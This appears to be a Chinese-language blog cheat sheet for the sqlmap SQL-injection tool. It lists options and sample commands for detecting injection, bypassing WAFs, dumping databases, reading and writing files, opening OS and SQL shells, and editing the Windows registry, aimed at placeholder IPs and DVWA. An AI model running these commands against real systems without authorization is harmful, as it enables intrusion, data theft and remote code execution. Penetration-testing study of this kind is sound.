sqlmap

sqlmap

Get方法

 sqlmap -hh 	#help
 sqlmap -u "http://192.168.12.23/index.php?page=user-info&username=123&passwd=123456" -p username -f                #-p 只检查username是否有注入 -f 指纹
 -u 	#url
 --users  #数据库的帐号
 --banners
 --dbs	#数据库的库
 --scheme #库,表,属性
 -a 	#all
 sqlmap -d "mysql://username:passwd@192.168.1.1:3306/dvwa" -f --users --banner --dbs --scheme -a 
 -d	#将sqlmap作为客户端连接数据库
 -m	[filename]	#filename	多个的要查询的地址
 -g	#google查询

post方法

使用burpsuit获取post请求
 cut paste --> post.txt
 sqlmap -r post.txt --dbs
burpsuit --> log文件 
	1. options logging
	2. proxy requests log.txt
	3.sqlmap -l log.txt	

https

sqlmap -u "https://1.1.1.1/1/php?id=1:8834" --force-ssl

config文件配置

sqlmap -c sqlmap.conf

request

`大小写敏感`
--level:
--data :
   get/post
	sqlmap -u "http://1.1.1.1/1.php" --data="id=67&oi=32" -f
	--method:
		指定get或post  --method=GET 
--param-del:
	变量分隔符
--cookie:

--drop-set-cookie:
	默认为 set-cookie
	sqlmap会自动更换cookie
	当`level >= 2`时才会检测cookie是否有注入
--user-agent:
--random-agent:
	/usr/share/sqlmap/data/txt/user-agents.txt
	当`level >= 3`时才会检测user-agent是否有注入
--host:
	当`level >= 5`时才会检测host是否有注入
--referer:
	`level >= 3`
--headers:
	额外的headers头
	--headers="Host:dsdsds\nUser-Agent:dsdsads\n"
--auth-cert:	--auth-file:
	身份认证	
	客户端身份认证				PEM格式证书

http(s)代理

--proxy="http://1.1.1.1:8080"
--proxy-cert="username:passwd"
--ignore-proxy #忽略系统代理设置,用于本地扫描

减少请求

--delay:
	float, 秒为单位
--timeout:
	default = 30s
--retries:
	default = 3
--randomize:
	sqlmap -u "http://1.1.1.1/1.php" --data="id=100" --randomize="id"
	每次随机id,同时保证id格式不变,如:"100","111"."001"
--scope:
	日志过滤,仅仅匹配scope,使用正则表达式
	sqlmap -l post.log --scope="(www)?\.target\.(com | net | edu)"
--safe-url   --safe-freq:
	防止连续的不正确注入(302)导致服务器封杀
	--safe-freq 几次注入加一次正常请求  
--skip-urlencode:
	不进行URL编码,直接使用原数据进行提交
--eval:
	每次请求执行指定的python代码
	sqlmap -u "http://1.1.1.1/a.php?id=1&hash=ceasdsdsadadadadadsad" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

性能优化

-o:
	--predict-output:
		根据返回值与统计表,不断减少检测范围
		与 `--threads`参数不兼容
		统计表:/usr/share/sqlmap/data/txt/common-outputs.txt
			或/usr/share/sqlmap/txt/common-outputs.txt
	--keep-alive:
		与`--proxy`不兼容
		长连接 http(s)
	--null-connection
		只获取页面大小,不获取具体内容
		通常用于盲注,降低网络带宽
		与`--text-only`(基于页面内容盲注)不兼容
	--threads:
		最大线程数 default = 1
		盲注每个线程 7 确定一个字符,最高位为0
		建议不要过10,可能引起站点可用性
		与`--predict-output`不兼容

injection

-p:
	指定扫描的参数,会使`--level`失效
	-p [1,2,3...]
--skip:
	排除扫描的参数
`uri注入点`:
	在需要的后加*
	sqlmap -u "http://1.1.1.1/param1/value1*/param2/value2"
--dbms:
	指定数据库
	mysql 	oracle	microsoft_sql_server ...
--os:
	指定os
--invalid-bignum / --invalid-logical:
	sqlmap默认使用取负值使参数失效 id = 10 --> -10
	id = 999999999
	id = 12 and 18 = 19
--no-cast:
	将结果转为字符串,并且用空格替换NULL结果
	老板本数据库需要开启
--no-escape:
	将关闭char()编码逃逸的方法替换字符串
--prefix  --suffix:
	闭合前缀与后缀
--tamper:
	混淆脚本,用于绕过应用层过滤, IPS, WAF
	tmaper/between.py ...

detection

--level:
	[1 -- 5]
	/usr/share/sqlmap/xml/payloads
--risk:
	[1 -- 4]
	risk可能会造成数据内容篡改
--string. --not-string, --regexp, --code, --text-only, --files
	页面比较

techniques

默认使用全部技术
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries(文件系统,操作系统,注册表必须)
T: Time-based blind
--time-sec:
	时间盲注延时,default = 5
--union-cols:
	默认联合查询1-10列
	--nuion-cols 6-9 #查询7-10列
--union-char
	联合查询默认NULL,可以指定该参数 
--dns-domain:
	
--second-order:
	在一个页面注入,从另外一个页面体现出来
	--second-order="http://1.1.1.1/b.php"
-f
-b

枚举

 --current-user
• --current-db
• --hostname
• --users
• --privileges -U username 
• --roles
• --dbs
• --tables, --exclude-sysdbs –D dvwa
• -T users -D dvwa -C user --columns
--schema --batch --exclude-sysdbs 
• --count
Dump:
• --dump, -C, -T, -D, --start, --stop
• --dump-all --exclude-sysdbs
• --sql-query "select * from users"
--udf-inject , --shared-lib

file system

 --file-read:
 --file-write="1.txt"  --file-dest="/tmp/1.txt"

os

--os-cmd
--os-shell
--sql-shell
mysql, postgresql:
	上传sys_exec(), sys_eval()两个UDF
mmsql:
	xp_cmdshell

windows registory

--reg-read
--reg-add
--reg-del
--reg-key 	--reg-value		--reg-data		--reg-ype
	sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --
reg-type=REG_SZ --reg-data=1

general

-s:sqlite会话文件保存位置
-t:流量文件保存位置
--charest:强制字符编码
--crawl:
--cvs-del:
--dbms-cred:
--flush-session:
--force-ssl
--fresh-queries:忽略session查询结果
--hex:
--output-dir
--parese-errors
--save:保存配置至文件

missellaneous

--answer:
--check-waf:检测WAF/IPS/IDS
--hpp:
	http parameter pollution
	绕过WAF/IPS/IDS
	尤其对ASP/IIS ASP.NET/IIS
--identify-waf:
	彻底的waf/ips/ids检查
--moblie:
	模拟手机设备
--smart:
	
--purge-output:
	清除output文件夹
--smart:
	当有大量检测目标时,只基于错误检测结果
--wizard:
	向导模式

代理使用
sqlmap.py --proxy=(http|https|socks4|socks5)?/address:port --proxy-cred=username:password

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值